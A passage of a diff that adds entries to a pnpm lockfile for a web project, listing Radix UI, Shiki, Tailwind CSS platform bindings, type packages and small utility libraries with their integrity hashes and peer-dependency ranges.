peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-popover@1.1.23': + resolution: {integrity: sha512-mw58MrBlyHWFisTOYignD0vf/3gdcgAR+9of1s9G/38CbFiUwH1nCDkc0AUM9IrXFgN5Ue8n45j9WCgyM1sbiQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-popper@1.3.7': + resolution: {integrity: sha512-UsJrrd7w4wuKKTdvd/DNERVlwSlUcyXzjhyDwBk+3aPOsCjOY6ZSbxuw8E6lZTjjfP8Cpd0J8VVkrYUWyGYXyg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-portal@1.1.17': + resolution: {integrity: sha512-vKQLcWypUnwZVvfV7UkGahH2g6ySe8M8R+zYBwPrv5byZ9QAW6cQVvNKo7GgmD+p8aYb6D9JBuvy8/WhOno2wQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-presence@1.1.10': + resolution: {integrity: sha512-3wyzCQ6+ubRA+D4uv9m95JYLXxmOHp05qjrkjeA7uKHHtjpPggQzc6DAb0URl7j67oR0K2foO4ip27TiX037Bw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-primitive@2.1.10': + resolution: {integrity: sha512-MucOnzh6hR5mid6VpkbglRAMYMjKLqRnGBbjXkzjK52fuQDd1qbkx78a5P40mkcnVXJdEVxm26E9OPAiUq7nBg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-roving-focus@1.1.19': + resolution: {integrity: sha512-V9jI6hDjT7l3jsCQD9bLNvDLM3tH/gdbOTp7Tefp3hbbgCGQoK7tUvrWiRlcoBHIZ809ElXwNQwVo0B98LuTXQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-scroll-area@1.2.18': + resolution: {integrity: sha512-Zn5Cd171wxsO3Dfg8HaW6RifTb9CYTKQJHs/G4+LN1GfmJpaQMZQyQxMprVPHpaz7QY4l9BxK2JwQuzHsXC8nA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-slot@1.3.3': + resolution: {integrity: sha512-qx7oqnYbxnK9kYI9m317qmFmEgo6ywqWvbTogdj7cL9p3/yx4M48p7Rnw5z3H890cL/ow/EeWJsuTykeZVXP5Q==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-tabs@1.1.21': + resolution: {integrity: sha512-UKxJlZid7FVtsk/WTxj4i4uSEgj2Au+KBbS7SQyTlzMhhn+86Cz3tISZdTa87bfEfcuvZezf2ZsxD4xuEKtkog==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-use-callback-ref@1.1.4': + resolution: {integrity: sha512-R6OUY2e2fA6Yn6s+VSx5KBV6Nx8LQEhu+cz7LCej18rQ1HLyg9PSC9jP/ZNx0o6FAIK9c0F1kHylzSxKsdlkrQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-controllable-state@1.2.6': + resolution: {integrity: sha512-uEQJGT97ZA/TgP/Hydw47lHu+/vQj6z/0jA+WeTbK1o9Rx45GImjpD0tc3W5ad3D6XTSR6e1yEO0FvGq6WQfVQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-effect-event@0.0.5': + resolution: {integrity: sha512-7cshFL8HGS/7HEiHH+9kL9HBwp2sa9yX18Knwek6KYWmXwM7pegMgta2AXMQKI+rq3JnfSj9x8wYqFMTdG1Jgg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-is-hydrated@0.1.3': + resolution: {integrity: sha512-umO/aJ+82CpOnhDZUTbILCQf7kU/g0iv+oGs/Q8jw7IkhWBzaEP4sA268PhFAJTFetbwp3ICc6ktpI4TqtxcIw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-layout-effect@1.1.4': + resolution: {integrity: sha512-K20DkRkUwDnxEYMBPcg3Y6voLkEy5p5QQmszZgLngKKiC7dzBR/aEuK3w1qlx2JWDUNH6FluahYdgR3BP+QbYw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-previous@1.1.4': + resolution: {integrity: sha512-XoSLhbRbqxFtgJoi2fNHA3C6pDlY34x508vUpUGoFZfvePfHXHbE1lC4FYFMnJWgiCRroSTw6fOsXQoVS9RwZg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-rect@1.1.4': + resolution: {integrity: sha512-cSOCh6JlkmfjLyNcLiu2nB4v+nm+dkZ+Q5KHWk/soo4U7ZLiEQFKHK9/YmtBHjfCEaU43IBKQOc4/uJmCaiCTQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-size@1.1.4': + resolution: {integrity: sha512-D3anSY15EJoxrihpsXI6SMrmmonnQtR2ni7arO+Lfdg3O95b9hNXxONk8jA5C8ANdF/h5HMAxejgs8PWJ6rlhw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-visually-hidden@1.2.11': + resolution: {integrity: sha512-NFS86RYYZb4/exihaESBGOpMJFz8MGLAfu3mOBSGByVnVPC9JPASfYubxd/8KbkQK0sYAv8lVQDEQukDX/qXvQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/rect@1.1.3': + resolution: {integrity: sha512-JtyZR+mqgBibTo8xea3B6ZRmzZiM/YeVBtUkas6zMuXjAlfIFIW2FgqeM9eLyvEaYX66vr6DJMK+4U6LV0KhNw==} + + '@shikijs/core@4.4.1': + resolution: {integrity: sha512-VeR2CY6Nn9/WbisoYLOQZ7HZOnwTrpBuOw4wExjqLnBCi62BNWynBUO6K2uPIASPFJwAv7cX1fUu+LrPlSstcw==} + engines: {node: '>=20'} + + '@shikijs/engine-javascript@4.4.1': + resolution: {integrity: sha512-6U4lJBh8LTvIkEVqRHv/rr3ruwtO6IweFQt1ME1ntHJMGHS+6N86vfYGO1o8c/DtOCTia2lfhdQBtBrps1sDfQ==} + engines: {node: '>=20'} + + '@shikijs/engine-oniguruma@4.4.1': + resolution: {integrity: sha512-p23RugMKss0r5DAtRJW1yAXUDl60JvhQYV20yuxei//26JyDSJefV3umyWzzwep2weblMnJGDYahuti6XkcMgA==} + engines: {node: '>=20'} + + '@shikijs/langs@4.4.1': + resolution: {integrity: sha512-xb2kCMloBCIraIy2fS5MW0t/BxVY3q2nDyQKBoeSeq6KNrQbShHetCFlw2n35fGIJ6t3+hXDLQogP5ir9O9bvA==} + engines: {node: '>=20'} + + '@shikijs/primitive@4.4.1': + resolution: {integrity: sha512-ko2OfDoG89YuQ7xL5LtcQiWKb7NIv1Ephb7g48TVU198OzAMLC8lXVEwaJGHK4sUMYrfAGJDqYmNLOLiW/Kz8w==} + engines: {node: '>=20'} + + '@shikijs/themes@4.4.1': + resolution: {integrity: sha512-wudOaoFro+/Zl9gQv2W1Ur5XlVduqvTuYLI483Xi0wgc1A+cy1hfB2r6ac6ufBgF+ID7KJEW7L41MHrzQ4wH+w==} + engines: {node: '>=20'} + + '@shikijs/types@4.4.1': + resolution: {integrity: sha512-GOwCLQDHM5EjGUWNPrhzJbr6JP8V/Dx/CDVkWvbZ1Avw5JFnNUckrgbLmE07qtg4WlW7Q7QFndhjIkeU9XMPvw==} + engines: {node: '>=20'} + + '@shikijs/vscode-textmate@10.0.2': + resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} + + '@standard-schema/spec@1.1.0': + resolution: {integrity: sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==} + + '@swc/helpers@0.5.15': + resolution: {integrity: sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==} + + '@tailwindcss/node@4.3.3': + resolution: {integrity: sha512-/T8IKEsf9VTU6tLjgC7+sv2mOPtQxzE2jMw7u4Tt40Tx+QSZxpzh95/H6cMKoja9XuW7iMdLJYBB0o9G1CaAgg==} + + '@tailwindcss/oxide-android-arm64@4.3.3': + resolution: {integrity: sha512-Y85A2gmPSkl5Ve5qR86GL4HT509cFqQh1aes9p3sSkyTPwt0Pppf3GkwGe4JPACcRYjgJIEhQgM6dBClnr0NYw==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [android] + + '@tailwindcss/oxide-darwin-arm64@4.3.3': + resolution: {integrity: sha512-BiaWatpBcERQFDlOjRDpIVXuFK5PJez5SA4JMg6VYZdBYU+qKfV/vqjcIs+IYmtitf1xYQZTwXvU/8y4lfZUGw==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [darwin] + + '@tailwindcss/oxide-darwin-x64@4.3.3': + resolution: {integrity: sha512-fAeUqfV5ndhxRwai8cXGzdLvul9utWOmeTkv69unv4ZXixjn61Z+p9lCWdwOwA3TYboG3BwdVuN/RDjhBRl0mw==} + engines: {node: '>= 20'} + cpu: [x64] + os: [darwin] + + '@tailwindcss/oxide-freebsd-x64@4.3.3': + resolution: {integrity: sha512-iyf5bV6+wnAlflVeEy7R25dupxTNECZN5QMI0qNT6eT+EgaGdZcKhGkr5SdoaWiLJ3spLqIY9VCeSGrwmtg4kw==} + engines: {node: '>= 20'} + cpu: [x64] + os: [freebsd] + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.3.3': + resolution: {integrity: sha512-aAYUprJAJQWWbRrPvtjdroZ56Md+JM8pMiopS6xGEwDfLhqj+2ver2p4nU4Mb3CRqcMmNBjo8KkUgcxhkzVQGQ==} + engines: {node: '>= 20'} + cpu: [arm] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-gnu@4.3.3': + resolution: {integrity: sha512-nDxldcEENOxZRzC2uu9jrutZdAAQtb+8WWDCSnWL1zvBk1+FN+x6MtDViPB5AJMfttVCUhehGWus3XBPgatM/w==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-musl@4.3.3': + resolution: {integrity: sha512-Md44bD6veX/PC5iyF8cDVnw4HBIANZepRZZ7a8DQOvkfo5WUBwcp6iAuCUz23u+4SUkhJlD3eL7hNdW8ezd/kA==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + + '@tailwindcss/oxide-linux-x64-gnu@4.3.3': + resolution: {integrity: sha512-tx7us1muwOKAKWao2v/GaafFeQboE6aj88vC6ziN2NCGcRm8gWUhwjzg+YdVB1e4boAtdtma4L43onunI6NS4w==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + + '@tailwindcss/oxide-linux-x64-musl@4.3.3': + resolution: {integrity: sha512-SJxX60smvHgasZoBy11dX6YRjXJFovwWBoedhbQPOBzgFWBHGB+TVPWB9BxzR7TTxU8FQZAI2AyiNCMzFm8Img==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + + '@tailwindcss/oxide-wasm32-wasi@4.3.3': + resolution: {integrity: sha512-jx1+rPhY/5Ympkktd656HBWEBLxP7dH06losBLjjf5vgCODXvi9KhtftWcMIwTFIDqBr7cRnQkdLnAG+IOlGvQ==} + engines: {node: '>=14.0.0'} + cpu: [wasm32] + bundledDependencies: + - '@napi-rs/wasm-runtime' + - '@emnapi/core' + - '@emnapi/runtime' + - '@tybys/wasm-util' + - '@emnapi/wasi-threads' + - tslib + + '@tailwindcss/oxide-win32-arm64-msvc@4.3.3': + resolution: {integrity: sha512-3rc292Ca2ceK6Ulcc/bAVnTs/3nDtoPhyEKlgPv+yQJQi/JS/AMJlqzxvlDacL1nekbrcf6bTqp/jV4qgnPxNQ==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [win32] + + '@tailwindcss/oxide-win32-x64-msvc@4.3.3': + resolution: {integrity: sha512-yJ0pwIVc/nYeGoV02WtsN8KYyLQv7kyI2wDnkezyJlGGjkd4QLwDGAwl47YpPJeuI0M0ObaXGSPjvWDPeTPggw==} + engines: {node: '>= 20'} + cpu: [x64] + os: [win32] + + '@tailwindcss/oxide@4.3.3': + resolution: {integrity: sha512-krXjAikiaFSPaK/FkAQT5UTx3VormQaiZ5hBFlJZ9UFQGB/rwg1MZIhHAG9smMQRTdyJxP6Qt5MwMtdyU5FWrA==} + engines: {node: '>= 20'} + + '@tailwindcss/postcss@4.3.3': + resolution: {integrity: sha512-JTSZZGQi1AyKirbLN3azmjVzef92tcX7h+iSqPdaeStyFpGpDlKvvpxeOE8njhbUanbRwr3z8DyzhICWnMtQeg==} + + '@types/debug@4.1.13': + resolution: {integrity: sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==} + + '@types/estree-jsx@1.0.5': + resolution: {integrity: sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==} + + '@types/estree@1.0.9': + resolution: {integrity: sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==} + + '@types/hast@3.0.5': + resolution: {integrity: sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g==} + + '@types/mdast@4.0.4': + resolution: {integrity: sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==} + + '@types/mdx@2.0.14': + resolution: {integrity: sha512-T48PeuJtvLosNTPVhfnIp3i/n3a4g4Bad7YCq5k64D4u7NwDrAotikQ+5+sjtUvBmxCMlbo3dVL+C2dP0rWHzg==} + + '@types/ms@2.1.0': + resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==} + + '@types/node@26.1.2': + resolution: {integrity: sha512-Vu4a5UFA9rIIFJ7rB/Vaafh9lrCQszopTCx6KjFboXTGQbPNasehVR5TEiithSDGyd1DEiUByggTZsg8jukeIg==} + + '@types/react-dom@19.2.4': + resolution: {integrity: sha512-Bsc+QHgp+P/F02XDzNCY9jnZNCUuLki36KT7VKrTXXLdHf+vHMNZnW1rVu5DNW/rCK+fya3DATySbLM4yhtKUw==} + peerDependencies: + '@types/react': ^19.2.0 + + '@types/react@19.2.18': + resolution: {integrity: sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w==} + + '@types/unist@2.0.11': + resolution: {integrity: sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==} + + '@types/unist@3.0.3': + resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} + + '@ungap/structured-clone@1.3.3': + resolution: {integrity: sha512-60YRaenCQcVjYEKOcG824+DRGGIQ3VKErcBoAEDJZz5bKIs2ZG+X/H9Nk+Q6EVkwJk5QNApxbrc5QtBSwtrXAg==} + + '@yuku-analyzer/binding-android-arm64@0.8.3': + resolution: {integrity: sha512-t1H+d/ubotHLJPQ2gTPZ9C+XD5ZYsxasmxi8wBsUm9WONr0DEFtlxwIgvGZS1Kvlc+sZH9xErCtnKS+odKCabA==} + cpu: [arm64] + os: [android] + + '@yuku-analyzer/binding-darwin-arm64@0.8.3': + resolution: {integrity: sha512-2SULWSl6ZJb9mSmlJTw+tzHtYu4PUV50TQDnB3x3VpxHNextIj4Cc2MPO+KYxnETpKliD9ufaxjViU0EPbaRKw==} + cpu: [arm64] + os: [darwin] + + '@yuku-analyzer/binding-darwin-x64@0.8.3': + resolution: {integrity: sha512-CUnZOy4xKlEZyZddO14sodw7dxlJjm+ELTRRvIStf+Q3UVIwqH8gfvrQc1oFFWdYAQxMNVG+xtzAkcC1wL0IAA==} + cpu: [x64] + os: [darwin] + + '@yuku-analyzer/binding-freebsd-x64@0.8.3': + resolution: {integrity: sha512-hmzVEB0hl1NwDw0WhTam9BL5MB+WQ23CCWeB0PN5o7+8x/k69v816VipV+67eFkagjWEFkF32c586qYUT0H5wQ==} + cpu: [x64] + os: [freebsd] + + '@yuku-analyzer/binding-linux-arm-gnu@0.8.3': + resolution: {integrity: sha512-N7o78i1TGloyw9hNbFzD5qts4DQFz+pMBywPyPZ0P4asTjCIZFxQlJwQyvFIqI/ddPT6WSMbwyIdwnA4HNQP4w==} + cpu: [arm] + os: [linux] + + '@yuku-analyzer/binding-linux-arm-musl@0.8.3': + resolution: {integrity: sha512-G/7tB72G7nkNHHd6kW0wUjfCCJHNAXHjWb5zFusLhR5JR/qG1mtPCHZKh8kcYuXVtdx10EQUBvDvwYR8qcg8Fw==} + cpu: [arm] + os: [linux] + + '@yuku-analyzer/binding-linux-arm64-gnu@0.8.3': + resolution: {integrity: sha512-RzZs4PTRMZkOKlxRz3TgQcwYURqsNDJQsCZiGDsMr6oujUenAA55g83G8R4qrp4AP8XzupuctiN2Mj94ix5C9w==} + cpu: [arm64] + os: [linux] + + '@yuku-analyzer/binding-linux-arm64-musl@0.8.3': + resolution: {integrity: sha512-bhVhTXNkSmIY4XW7UBHjv/FcFzIKFlWAdYl7JgznwoN9f30Gm75hakEImFVNI1Cyapo1IgDzBttBEkcgtr3hjQ==} + cpu: [arm64] + os: [linux] + + '@yuku-analyzer/binding-linux-x64-gnu@0.8.3': + resolution: {integrity: sha512-GchPBviJ2WobjhNwEUb7csnCTa900jwUy98OIhvJ0fktlMXSw4a49jztUobIaThvR1prfa280XcIwwUpFrTJtQ==} + cpu: [x64] + os: [linux] + + '@yuku-analyzer/binding-linux-x64-musl@0.8.3': + resolution: {integrity: sha512-FmKdZ8eJjP405zsjkfCq78L5+zLYMfh2jit5xVUkc5FHFkekILTP3/l4A5WbAg3vSlsHuU8IK8qTMP/I/DdjnQ==} + cpu: [x64] + os: [linux] + + '@yuku-analyzer/binding-win32-arm64@0.8.3': + resolution: {integrity: sha512-QkpBczJfr462MvOY7kWXfv0NkLmjiUNaPwwty2lwZv2Xk1NKuYPiAjcdyqC59nsoftp1xf8qjDKUtF5ykuhoRQ==} + cpu: [arm64] + os: [win32] + + '@yuku-analyzer/binding-win32-x64@0.8.3': + resolution: {integrity: sha512-bgdgP+I/+lYIaG6xWv0L8VpwSVZ+FUsqTju+xFGhU2mkhgmU1e5PYle7Vl8ZsS7R4Udf28j66L1lXeLEyWvwhg==} + cpu: [x64] + os: [win32] + + '@yuku-toolchain/types@0.8.3': + resolution: {integrity: sha512-9LN3HYs3A9qSPVFunsxlbfwBcUgexti3TmhOzIxB/UH8zFuaHQJXTRDcN17DW6cp1GsyZtiZA7f18uIra36Jag==} + + '@zeit/schemas@2.36.0': + resolution: {integrity: sha512-7kjMwcChYEzMKjeex9ZFXkt1AyNov9R5HZtjBKVsmVpw7pa7ZtlCGvCBC2vnnXctaYN+aRI61HjIqeetZW5ROg==} + + acorn-jsx@5.3.2: + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + acorn@8.18.0: + resolution: {integrity: sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==} + engines: {node: '>=0.4.0'} + hasBin: true + + ajv@8.18.0: + resolution: {integrity: sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==} + + ansi-align@3.0.1: + resolution: {integrity: sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-regex@6.2.2: + resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} + engines: {node: '>=12'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + ansi-styles@6.2.3: + resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} + engines: {node: '>=12'} + + arch@2.2.0: + resolution: {integrity: sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==} + + arg@5.0.2: + resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + + aria-hidden@1.2.6: + resolution: {integrity: sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==} + engines: {node: '>=10'} + + astring@1.9.0: + resolution: {integrity: sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==} + hasBin: true + + bail@2.0.2: + resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} + + balanced-match@4.0.4: + resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} + engines: {node: 18 || 20 || >=22} + + baseline-browser-mapping@2.11.11: + resolution: {integrity: sha512-/yImnXwyTvgMkhgekLHok/Rx5vO6E0BmStWlSqKWMVm2a2ITuZ1Tn+9bgLS+gZRdZmWtd8nxuhHpdmCUOWsTQQ==} + engines: {node: '>=6.0.0'} + hasBin: true + + beautiful-mermaid@1.1.3: + resolution: {integrity: sha512-TItrtrAyHp1vwFfFVYauWGrquouk/6SS21Aq3RsxindSYZODcN4xYrPZD6BiZRU+o5mKJzDPz9MUSMvELdylyg==} + + boxen@7.0.0: + resolution: {integrity: sha512-j//dBVuyacJbvW+tvZ9HuH03fZ46QcaKvvhZickZqtB271DxJ7SNRSNxrV/dZX0085m7hISRZWbzWlJvx/rHSg==} + engines: {node: '>=14.16'} + + brace-expansion@5.0.9: + resolution: {integrity: sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==} + engines: {node: 20 || >=22} + + bytes@3.0.0: + resolution: {integrity: sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==} + engines: {node: '>= 0.8'} + + bytes@3.1.2: + resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} + engines: {node: '>= 0.8'} + + camelcase@7.0.1: + resolution: {integrity: sha512-xlx1yCK2Oc1APsPXDL2LdlNP6+uu8OCDdhOBSVT279M/S+y75O30C2VuD8T2ogdePBBl7PfPF4504tnLgX3zfw==} + engines: {node: '>=14.16'} + + caniuse-lite@1.0.30001806: + resolution: {integrity: sha512-72Cuvd95zbSYPKq6Fhg8eDJRlzgWDf7/mtoZv6Qe/DYNCEBdNxoA3+rZAU2ZhGCpZlns3EssFavaZomckT5Uuw==} + + ccount@2.0.1: + resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} + + chalk-template@0.4.0: + resolution: {integrity: sha512-/ghrgmhfY8RaSdeo43hNXxpoHAtxdbskUHjPpfqUWGttFgycUhYPGx3YZBCnUCvOa7Doivn1IZec3DEGFoMgLg==} + engines: {node: '>=12'} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + chalk@5.0.1: + resolution: {integrity: sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w==} + engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} + + character-entities-html4@2.1.0: + resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} + + character-entities-legacy@3.0.0: + resolution: {integrity: 